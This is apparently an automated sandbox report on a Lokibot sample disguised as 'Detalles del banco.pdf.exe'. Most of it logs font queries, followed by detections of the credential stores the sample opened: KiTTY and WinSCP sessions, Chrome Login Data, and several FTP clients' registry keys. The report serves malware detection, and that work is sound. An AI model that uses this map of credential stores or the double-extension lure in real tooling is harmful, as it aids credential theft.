Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Code function: 11_2_00406069 GetUserNameW,

11_2_00406069

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 1.2.Detalles del banco.pdf.exe.4048c60.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Detalles del banco.pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Detalles del banco.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Detalles del banco.pdf.exe PID: 6408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Detalles del banco.pdf.exe PID: 7128, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

